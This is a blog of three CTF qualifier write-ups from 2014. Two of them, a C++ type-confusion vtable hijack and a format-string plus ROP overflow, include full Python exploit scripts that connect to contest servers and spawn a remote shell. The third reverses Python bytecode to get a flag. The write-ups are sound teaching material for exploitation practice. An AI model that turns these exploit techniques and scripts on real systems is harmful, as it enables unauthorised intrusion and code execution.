Thursday, September 25, 2014

CSAW CTF Quals 2014 - S3 - Exploitation 300 - [Team SegFault]

For this challenge we got a Linux 64-bit ELF executable [C++ code]. ASLR was enabled in the remote machine and NX disabled in executable. The executable is simply, it could store counted and NUL terminated string. Stored strings could also be updated and read using <id>
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3
Below is the data structure for storing Counted String:
24 Bytes
 ______________________
|  Ptr to ObjectA [ID] |
|______________________|
|   Type [Counted][1]  |
|______________________|
|   Ptr to ObjectA     |
|______________________|


24 Bytes - ObjectA
______________________
|       VTABLE        |
|_____________________|
|   Size of String    |
|_____________________|
|   Ptr to String     |
|_____________________|

and for NUL-Terminated String:
24 Bytes
 ______________________
|  Ptr to String[ID]   |
|______________________|
|    Type [NUL][0]     |
|______________________|
|  Ptr to UserString   |
|______________________|

The vulnerability is in UpdateString feature, it doesn't check for Counted String or NUL-terminated string. Directly treats update of Counted String as handling a NUL-Terminated string and updates Ptr to ObjectA with Ptr ot UserString, but leaves the Type field as such.
24 Bytes - After Update
 ______________________
|Ptr to UserString[ID] |
|______________________|
|   Type [Counted][1]  |
|______________________|
|  Ptr to UserString   |
|______________________|


24 Bytes - Old ObjectA
______________________
|       VTABLE        |
|_____________________|
|   Size of String    |
|_____________________|
|   Ptr to String     |
|_____________________|

UserString:
 _____________________
|       AAAAAAAA      |
|_____________________|
|       BBBBBBBB      |
|_____________________|
|       ........      |
|_____________________|

During read operation, the type of string is checked. If its a Counted String, the Ptr to Object is read and functions in VTABLE are called. But after update operation, the Ptr to Object points to Ptr to UserString with type still set to Counted. This means first 8 bytes of user string will be considered as pointer to VTABLE.

If we could fake VTABLE with pointer to shellcode, then we have control of program. Absence of NX and string ID returned to users being pointers to heap memory, we could easily achieve this.
> c 1 AAAAA
Program received signal SIGALRM, Alarm clock.
AAA
Your stored string's unique identifier is: 6320176
> c 1 
Your stored string's unique identifier is: 6320384
> u 6320384 BBBBBBBB
Your stored string's new unique identifier is: 6320240
> r 6320240

Program received signal SIGSEGV, Segmentation fault.

   0x4019cb: mov    QWORD PTR [rbp-0x50],rdi
   0x4019cf: mov    rdi,rax
   0x4019d2: mov    rax,QWORD PTR [rbp-0x50]
=> 0x4019d6: call   QWORD PTR [rax+0x10]
   0x4019d9: add    eax,0x1

gdb-peda$ info registers 
rax            0x4242424242424242 0x4242424242424242
We could notice that, a Counted String object could be directly provided as fake VTABLE as [Object+0x10] is a pointer to user controlled string which will be our shellcode.

So the idea of exploit is:
[*] Create two Counted String - ObjectA and ObjectB
[*] ObjectA will have pointer to shellcode supplied as string
[*] Update ObjectB with a new string, this string will be considered as an object due to type confusion
[*] Read ObjectB to trigger the vulnerability
[*] Syscall alarm(0) will disable signal

Below is the exploit:
#!/usr/bin/env python

import re
import time
import struct
import telnetlib
import shellcode

ip = "127.0.0.1"
#ip = "54.165.225.121"
port = 5333

def GetAddress(string): return re.search('[0-9]{8}', string).group()

soc = telnetlib.Telnet(ip, port)
time.sleep(2)
soc.read_very_eager()

# First ObjectA
soc.write('c 1 ' + shellcode.SIGALRM + shellcode.EXECVE + '\n')
ID = soc.read_until('> ')
ObjectA = int(GetAddress(ID))
print '[*] Created counted string at %s' % hex(ObjectA)

# Second ObjectB
soc.write('c 1\n')
ID =  soc.read_until('> ')
ObjectB = int(GetAddress(ID))
print '[*] Created counted string at %s' % hex(ObjectB)

# Updating ObjectB
VTABLE  = struct.pack('<Q', ObjectA)
soc.write('u ' + str(ObjectB) + ' ' + VTABLE + '\n')
ID =  soc.read_until('> ')
UpdatedObjectB = int(GetAddress(ID))
print '[*] Updated object at %s' % hex(UpdatedObjectB)

# Triggering vuln
soc.write('r ' + str(UpdatedObjectB) + '\n')
soc.interact()
Flag for the challenge is flag{SimplyStupidStorage}

Thursday, September 18, 2014

No cON Name CTF Quals 2014 - eXPLicit 500 - [Team SegFault]

We got a statically linked linux 32-bit ELF with NX and stack canary. It had 2 vulnerabilities - format string and buffer overflow, which are easy to find. The idea of the exploit is below:

[*] Leak stack canary using format string vulnerability
[*] Overwrite saved EIP using buffer overflow and call mmap() to allocate memory with RWX permission
[*] Copy shellcode to newly allocated memory using read()
[*] Jump to the shellcode

Since the executable is statically linked we cannot make libc calls, but there is plenty of gadgets to make syscalls.

Here is the full exploit:
#!/usr/bin/env python

import re
import sys
import time
import struct
import telnetlib
import shellcode

ip = "127.0.0.1"
ip = "88.87.208.163"
port = 7070

con = telnetlib.Telnet(ip, port)
QUIT = "q"

# leak canary using format string vuln
con.write("%90$08x\n")
time.sleep(1)
t = con.read_very_eager()
match = re.search("[a-f\d]{8}", t)
if match: canary = struct.pack("<I", int(match.group(),16))
else: sys.exit(0)

# overflow buffer
payload  = QUIT
payload += "A" * 255
payload += canary
payload += "A" * 12

# Setup for mmap()
payload += struct.pack("<I", 0x080bee58) # pop eax ; ret
payload += struct.pack("<I", 7)
payload += struct.pack("<I", 0x0809df7c) # xchg eax, edx ; ret
payload += struct.pack("<I", 0x080499f5) # pop esi ; ret
payload += struct.pack("<I", 0x080d6080) # bss address
payload += struct.pack("<I", 0x080cf0a2) # pop ecx ; or cl, byte [esi] ; or al, 0x43 ; ret
payload += struct.pack("<I", 1024)
payload += struct.pack("<I", 0x0808e0dc) # pop eax ; pop ebx ; pop ebp ; pop esi ; pop edi ; ret
payload += struct.pack("<I", 0xc0)
payload += struct.pack("<I", 0x0badc000)
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 34)
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x08061240) # int 0x80 ; ret

# Setup for read()
payload += struct.pack("<I", 0x080bee58) # pop eax ; ret
payload += struct.pack("<I", 1024)
payload += struct.pack("<I", 0x0809df7c) # xchg eax, edx ; ret
payload += struct.pack("<I", 0x080499f5) # pop esi ; ret
payload += struct.pack("<I", 0x080d6080) # bss address
payload += struct.pack("<I", 0x080cf0a2) # pop ecx ; or cl, byte [esi] ; or al, 0x43 ; ret
payload += struct.pack("<I", 0x0badc000)
payload += struct.pack("<I", 0x080bee58) # pop eax ; ret
payload += struct.pack("<I", 0x3)
payload += struct.pack("<I", 0x08048139) # pop ebx ; ret
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", 0x08061240) # int 0x80 ; ret

# Jump to shellcode
payload += struct.pack("<I", 0x0badc000)

con.write(payload + "\n")
con.read_until("Bye\n")
con.write(shellcode.DUP2 + shellcode.EXECVE + "\n")
print "[*] Got shell"
con.interact()
Flag for the challenge is NcN_97740ead1060892a253be8ca33c6364a712b21d2

No cON Name CTF Quals 2014 - imMISCible 200 - [Team SegFault]

We were given a gzip compressed file which had the rot13 encoded python source for the challenge. The source had python bytecode which could be disassembled using dis module.
if __name__ == "__main__":
    codeobj = marshal.loads(bytecode.decode('base64'))
    f = new.function(codeobj, globals(), "f", None, None)

dis.dis(f)

  2           0 LOAD_CONST               0 (-1)
              3 LOAD_CONST               1 (('sha1',))
              6 IMPORT_NAME              0 (hashlib)
              9 IMPORT_FROM              1 (sha1)
             12 STORE_NAME               1 (sha1)
             15 POP_TOP             

  3          16 LOAD_CONST               0 (-1)
             19 LOAD_CONST               2 (('getenv',))
             22 IMPORT_NAME              2 (os)
             25 IMPORT_FROM              3 (getenv)
             28 STORE_NAME               3 (getenv)
             31 POP_TOP             

  4          32 LOAD_NAME                3 (getenv)
             35 LOAD_CONST               3 ('NO_CON_NAME')
             38 LOAD_CONST               4 ('')
             41 CALL_FUNCTION            2
             44 LOAD_CONST               5 ('Y')
             47 COMPARE_OP               2 (==)
             50 POP_JUMP_IF_FALSE      147

  6          53 LOAD_CONST               6 (' 57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d ')
             56 STORE_GLOBAL             4 (flag)

  7          59 LOAD_GLOBAL              4 (flag)
             62 LOAD_CONST               7 (' 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f ')
             65 INPLACE_ADD         
             66 STORE_GLOBAL             4 (flag)

  8          69 LOAD_GLOBAL              4 (flag)
             72 LOAD_CONST               8 (' 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61 ')
             75 INPLACE_ADD         
             76 STORE_GLOBAL             4 (flag)

  9          79 LOAD_GLOBAL              4 (flag)
             82 LOAD_CONST               9 (' 6c 6c 6f 77 3f ')
             85 INPLACE_ADD         
             86 STORE_GLOBAL             4 (flag)

 10          89 LOAD_GLOBAL              4 (flag)
             92 LOAD_ATTR                5 (replace)
             95 LOAD_CONST              10 (' ')
             98 LOAD_CONST               4 ('')
            101 CALL_FUNCTION            2
            104 STORE_GLOBAL             4 (flag)

 11         107 LOAD_GLOBAL              4 (flag)
            110 LOAD_ATTR                6 (decode)
            113 LOAD_CONST              11 ('hex')
            116 CALL_FUNCTION            1
            119 STORE_GLOBAL             4 (flag)

 12         122 LOAD_CONST              12 ('NCN')
            125 LOAD_NAME                1 (sha1)
            128 LOAD_GLOBAL              4 (flag)
            131 CALL_FUNCTION            1
            134 LOAD_ATTR                7 (hexdigest)
            137 CALL_FUNCTION            0
            140 BINARY_ADD          
            141 STORE_GLOBAL             4 (flag)
            144 JUMP_FORWARD             0 (to 147)
        >>  147 LOAD_CONST              13 (None)
            150 RETURN_VALUE        
This translates to below code:
#!/usr/bin/env python

from hashlib import sha1
from os import getenv

#from os import environ
#environ['NO_CON_NAME'] = 'Y'

if getenv('NO_CON_NAME') == 'Y':
    flag  = ' 57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d '
    flag += ' 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f '
    flag += ' 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61 '
    flag += ' 6c 6c 6f 77 3f '

    flag = flag.replace(' ','').decode('hex')
    flag = 'NCN' + sha1(flag).hexdigest()
    print flag
Flag for the challenge is NCN6ceeeff26e72a40b71e6029a7149ad0626fcf310